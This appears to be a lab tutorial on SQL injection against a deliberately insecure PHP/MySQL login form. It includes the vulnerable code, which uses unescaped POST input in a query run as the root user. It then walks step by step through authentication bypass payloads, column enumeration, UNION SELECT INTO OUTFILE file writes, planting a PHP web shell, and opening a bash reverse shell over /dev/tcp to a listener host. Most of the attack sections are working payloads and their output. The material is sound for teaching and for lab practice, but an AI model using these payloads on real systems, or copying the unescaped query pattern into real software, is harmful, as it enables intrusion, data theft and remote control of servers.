SQL Injection

Overview

Test for SQL injection by adding , -- , #, /*, ‘ or ” in a field that you suspect forms part of an SQL query.

character Details
# # to the end of the line.
-- same as #, space after -- is required
/* comment */ Multiline comment

Adding a backslash to the end of the field data may escape the quote used and enumerate which style of quotation is used in the in the error message returned.

The ability to include a backslash, quote or comment character unfiltered allows us to break out of the intended query and pass our own SQL commands to the back end database.

Example vulnerable PHP login code

The code below takes input of $username and $password from a web form and uses it to build the MySQL query, the variables passed from the form are not sanitized in any way. So long as the query returns only one row (matches one user account) login is successful.

Create a login.php file in webroot and paste in the following code:

<!DOCTYPE html>
<!-- HTML form to gather input -->
<html>
    <body style="font-family:monospace;">
        <form action="login.php" method="post">
        Username: <input type="text" size="50" name="username"><br>
        Password: <input type="text" size="50" name="password"><br>
        <input type="submit" value="Submit">
        </form>
    </body>
</html>

<!-- HTML form to gather input -->
<?php

    $db = mysqli_connect("localhost", "root", "", "login");

    $myusername = $_POST['username']; //Unescaped POST variable used in query
    $mypassword = $_POST['password']; //Unescaped POST variable used in query

    $sql = "SELECT * FROM users WHERE username = '$myusername' and password = '$mypassword'";

    //Uncomment to see the query being executed in MySQL
    //echo "QUERY: " . $sql . "<br/><br/>";

    $result = mysqli_query($db,$sql);

    echo mysqli_error($db) . "<br/>";

    $count = mysqli_num_rows($result);


    if($count == 1) {
        echo "<h1> Welcome " . $myusername . "</h1>";
    }
    else {
        echo "<h1>FAIL</h1>";
    }

    mysqli_close($db);
?>

Run the following SQL to create a database to back the above code:

CREATE DATABASE login;
CREATE TABLE users (username VARCHAR(30), password VARCHAR(30), email VARCHAR(30));
INSERT INTO users (username,password,email) VALUES ('admin','password','admin@netchameleon.com'), ('user', 'ilovesec','user@netchameleon.com'), ('user2', 'ilovesectoo', 'user2@netchameleon.com');

The MySQL server was not secured in anyway and queries are exected with the root MySQL user. The web directory is writable by the MySQL user and SELinux wass also disabled.

Testing possible injections

Bypass authentication

We control the data passed to $myusername and $mypassword variables which are in turn used to build the query.

The following example inputs should satisfy the condition (return one row) for a a successful login.

$myusername = admin';#

Resulting SQL statement executed:

MariaDB [login]> SELECT * FROM users WHERE username = 'admin';#' and password = ''
+----------+----------+------------------------+
| username | password | email                  |
+----------+----------+------------------------+
| admin    | password | admin@netchameleon.com |
+----------+----------+------------------------+
1 row in set (0.00 sec)

Any SQL to the right of the hash is treated as a comment and ignored by MySQL so the database returns one row (WHERE username = ‘admin’).

The same can be achieved with `-- `

Resulting SQL statement executed:

MariaDB [login]> SELECT * FROM users WHERE username = 'admin';-- ' and password = ''
+----------+----------+------------------------+
| username | password | email                  |
+----------+----------+------------------------+
| admin    | password | admin@netchameleon.com |
+----------+----------+------------------------+
1 row in set (0.00 sec)

If a valid username was not known the query could be modified through injection of an OR operator to force the WHERE clause to match all rows. Injecting LIMIT 1 would also be necessary to return only the first matching row as OR 1=1 would match all rows and not satisfy the condition (mysqli_num_rows($result) == 1).

$myusername = 'or 1=1 LIMIT 1;--

Resulting SQL statement executed:

MariaDB [login]> SELECT * FROM users WHERE username = '' OR 1=1 LIMIT 1;-- ' and password = ''
+----------+----------+------------------------+
| username | password | email                  |
+----------+----------+------------------------+
| admin    | password | admin@netchameleon.com |
+----------+----------+------------------------+
1 row in set (0.00 sec)

So long as the resulting injected query returns only one row login will be successful.

Bypassing the login check isn’t particularly useful in this case, lets explore what else can be achieved with the SQL injection.

Database enumeration

ORDER BY

The number of columns in the users table can be enumerated by injecting the ORDER BY clause, incrementing its value (column number) until an error is displayed/

$myusername = admin' ORDER BY 3;#

Resulting SQL statement executed:

MariaDB [login]> SELECT * FROM users WHERE username = 'admin' ORDER BY 3;#' and password = ''
+----------+----------+------------------------+
| username | password | email                  |
+----------+----------+------------------------+
| admin    | password | admin@netchameleon.com |
+----------+----------+------------------------+
1 row in set (0.00 sec)

UNION SELECT

UNION ALL SELECT clause can be injected to include data from other tables in the results returned by the query.

Since the result is not directly displayed anywhere on the login.php this technique is used “blind” and must be combined with INTO OUTFILE to write the data to a web accessible location for retrieval.

$myusername = admin' UNION ALL SELECT @@version,2,3 INTO OUTFILE '/var/www/html/vers.txt';#

Resulting SQL statement executed:

MariaDB [login]> SELECT * FROM users WHERE username = 'admin' UNION ALL SELECT @@version,2,3 INTO OUTFILE '/var/www/html/vers.txt';# ' and password = ''
Query OK, 2 rows affected (0.00 sec)

The result is not displayed (its written to file instead) but this can be retrieved with curl:

root@kali:~# curl http://10.0.133.45/vers.txt
    admin   password        admin@netchameleon.com
    5.5.56-MariaDB 2       3

We have learned the database type and version. By modifying the UNION SELECT query other interesting information can be obtained e.g. data from other tables etc.

Code execution

UNION SELECT can also be used to write arbitrary PHP code to file granting code execution on the server.

$myusername = admin' UNION ALL SELECT '<?php phpinfo(); ?>',2,3 INTO OUTFILE '/var/www/html/phpinf.php';#

Resulting SQL statement executed:

MariaDB [login]> SELECT * FROM users WHERE username = 'admin' UNION ALL SELECT '<?php phpinfo(); ?>',2,3 INTO OUTFILE '/var/www/html/phpinf.php';#' and password = ''
Query OK, 2 rows affected (0.00 sec)

Navigating to http://10.0.133.45/phpinf.php:

phpinfo() injected

Now we are able to inject and execute PHP, phpinfo() can be replaced with something more potent allowing us to execute shell commands:

<?php echo shell_exec($_GET['cmd']);?>
$myusername = 'union all select 1,2,'<?php echo shell_exec($_GET[\'cmd\']);?>' into OUTFILE '/var/www/html/shell.php';#
MariaDB [login]>  QUERY: SELECT * FROM users WHERE username = ''union all select 1,2,'<?php echo shell_exec($_GET[\'cmd\']);?>' into OUTFILE '/var/www/html/shell.php';#' and password = ''
Query OK, 2 rows affected (0.00 sec)

Supplying the command to execute on the server as the value of the GET variable cmd and PHP shell_exec() will dutifully execute it for us as the apache user.

    ~# http://10.0.133.45/shell.php
    1       2       <br />
    <b>Notice</b>:  Undefined index: cmd in <b>/var/www/html/shell.php</b> on line <b>1</b><br />
    root@kali:~# curl http://10.0.133.45/shell.php?cmd=id
    1       2       uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
    

Creating a reverse shell:

    root@kali:~# curl -G "http://10.0.133.45/shell.php" --data-urlencode "cmd=bash -i >& /dev/tcp/10.0.133.6/443 0>&1"
    
    root@kali:~#  nc -vlntp 443
    listening on [any] 443 ...
    connect to [10.0.133.6] from (UNKNOWN) [10.0.133.45] 35190
    bash: no job control in this shell
    bash-4.2$ i
    id
    uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
    bash-4.2$